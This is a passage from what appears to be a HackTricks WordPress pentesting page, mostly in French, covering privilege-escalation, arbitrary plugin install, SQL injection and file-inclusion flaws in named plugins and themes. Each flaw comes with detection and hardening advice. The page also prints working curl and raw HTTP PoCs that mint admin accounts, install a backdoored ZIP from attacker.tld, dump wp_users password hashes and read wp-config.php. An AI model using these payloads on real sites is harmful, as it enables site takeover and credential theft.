  • Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Pourquoi c’est exploitable

  • Route REST sensible protégée uniquement par une preuve d’identité à faible entropie (username) ou absence de permission_callback
  • Pas d’application des capabilities ; la clé émise est acceptée comme un contournement universel

Checklist de détection

  • Grep plugin code for register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Toute route qui émet des tokens/keys basés sur une identité fournie par la requête (username/email) sans lier à un utilisateur authentifié ou à une capability
  • Rechercher les routes suivantes qui acceptent le token/la clé émise sans vérifications côté serveur des capabilities

Durcissement

  • Pour toute route REST privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise
  • Ne pas créer de clés à longue durée de vie à partir d’une identité fournie par le client ; si nécessaire, émettre des tokens à courte durée de vie liés à l’utilisateur après authentification et revérifier les capabilities lors de l’utilisation
  • Valider le contexte utilisateur de l’appelant (wp_set_current_user n’est pas suffisant seul) et rejeter les requêtes où !is_user_logged_in() || !current_user_can()

Mauvaise utilisation du mécanisme nonce → installation arbitraire de plugin sans authentification (FunnelKit Automations ≤ 3.5.3)

Nonce prevents CSRF, not authorization. Si le code considère le passage d’un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (par ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence nonce faible et atteindre RCE en installant un plugin backdooré ou vulnérable.

  • Vulnerable path: plugin/install_and_activate
  • Faille: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact : compromission complète via l’installation/l’activation arbitraire d’un plugin

PoC (la forme dépend du plugin ; illustratif uniquement)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Checklist de détection

  • REST/AJAX handlers qui modifient plugins/themes en ne s’appuyant que sur wp_verify_nonce()/check_admin_referer() et sans vérification des capacités
  • Tout chemin de code qui définit $skip_caps = true après la validation du nonce

Durcissement

  • Traiter toujours les nonces uniquement comme des CSRF tokens ; appliquer des vérifications de capacités indépendamment de l’état du nonce
  • Exiger current_user_can(‘install_plugins’) et current_user_can(‘activate_plugins’) avant d’atteindre le code d’installation
  • Refuser l’accès non authentifié ; éviter d’exposer nopriv AJAX actions pour des flux privilégiés

Installateur de plugin AJAX Subscriber+ → activation malveillante forcée (Motors Theme ≤ 5.6.81)

Patchstack’s analysis a montré comment le Motors theme fournit un helper AJAX authentifié pour installer son plugin compagnon :

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Seul check_ajax_referer() est appelé ; il n’y a pas de current_user_can('install_plugins') ni de current_user_can('activate_plugins').
  • Le nonce est intégré dans la page d’administration Motors, donc tout Subscriber qui peut ouvrir /wp-admin/ peut le copier depuis le HTML/JS.
  • Le handler fait confiance au paramètre plugin contrôlé par l’attaquant (lu depuis $_GET) et le passe à Plugin_Upgrader::install(), si bien qu’un ZIP distant arbitraire est téléchargé dans wp-content/plugins/.
  • Après l’installation, le thème appelle sans condition mvl_theme_activate_plugin(), garantissant l’exécution du code PHP du plugin de l’attaquant.

Flux d’exploitation

  1. Créer/compromettre un compte à faibles privilèges (Subscriber suffit) et récupérer le nonce mvl_theme_install_base depuis l’interface du tableau de bord Motors.
  2. Construire un ZIP de plugin dont le répertoire de premier niveau correspond au slug attendu motors-car-dealership-classified-listings/ et y intégrer une backdoor ou un webshell dans les points d’entrée *.php.
  3. Héberger le ZIP et déclencher l’installateur en pointant le handler vers votre URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Parce que le handler lit $_GET['plugin'], le même payload peut aussi être envoyé via la query string.

Detection checklist

  • Rechercher dans themes/plugins Plugin_Upgrader, Theme_Upgrader, ou des helpers personnalisés install_plugin.php connectés aux hooks wp_ajax_* sans vérifications des capabilities.
  • Inspecter tout handler qui prend un paramètre plugin, package, source ou url et l’envoie aux upgrader APIs, surtout quand le slug est hard-coded mais que le contenu du ZIP n’est pas validé.
  • Passer en revue les pages admin qui exposent des nonces pour les actions d’installateur — si les Subscribers peuvent charger la page, assume the nonce leaks.

Hardening

  • Gate installer AJAX callbacks avec current_user_can('install_plugins') et current_user_can('activate_plugins') après vérification du nonce ; Motors 5.6.82 a introduit cette vérification pour patcher le bug.
  • Refuse untrusted URLs : limiter les installers aux ZIPs embarqués ou à des repositories de confiance, ou appliquer des manifests de téléchargement signés.
  • Traiter les nonces strictement comme des CSRF tokens ; ils n’apportent pas d’autorisation et ne doivent jamais remplacer les vérifications de capabilities.

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Plusieurs actions depicter-* consommaient le paramètre s (search) et le concaténaient dans des requêtes SQL sans paramétrisation.

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: exfiltration de la base de données (utilisateurs, hashes), mouvement latéral

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Utiliser grep pour les gestionnaires d’action depicter-* et pour détecter l’utilisation directe de $_GET[‘s’] ou $_POST[‘s’] dans des requêtes SQL
  • Examiner les requêtes personnalisées passées à $wpdb->get_results()/query() qui concatènent s

Hardening

  • Utiliser systématiquement $wpdb->prepare() ou les placeholders wpdb ; rejeter côté serveur les métacaractères inattendus
  • Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractères/longueur attendus

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Accepter des chemins contrôlés par l’attaquant dans un paramètre de template sans normalisation ni confinement permet de lire des fichiers locaux arbitraires, et parfois d’exécuter du code si des fichiers PHP/log inclusibles sont chargés à l’exécution.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: pas de normalisation/allowlisting ; traversée de répertoires autorisée
  • Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (empoisonnement des logs, PHP inclusible)

PoC – lire wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Liste de contrôle de détection

  • Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans confinement par realpath()
  • Rechercher des patterns de traversal (../) atteignant en dehors du répertoire de templates prévu

Durcissement

  • Appliquer des templates allowlistés ; résoudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
  • Normaliser les entrées ; rejeter les séquences de traversal et les chemins absolus ; n’utiliser sanitize_file_name() que pour les noms de fichiers (pas pour des chemins complets)

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks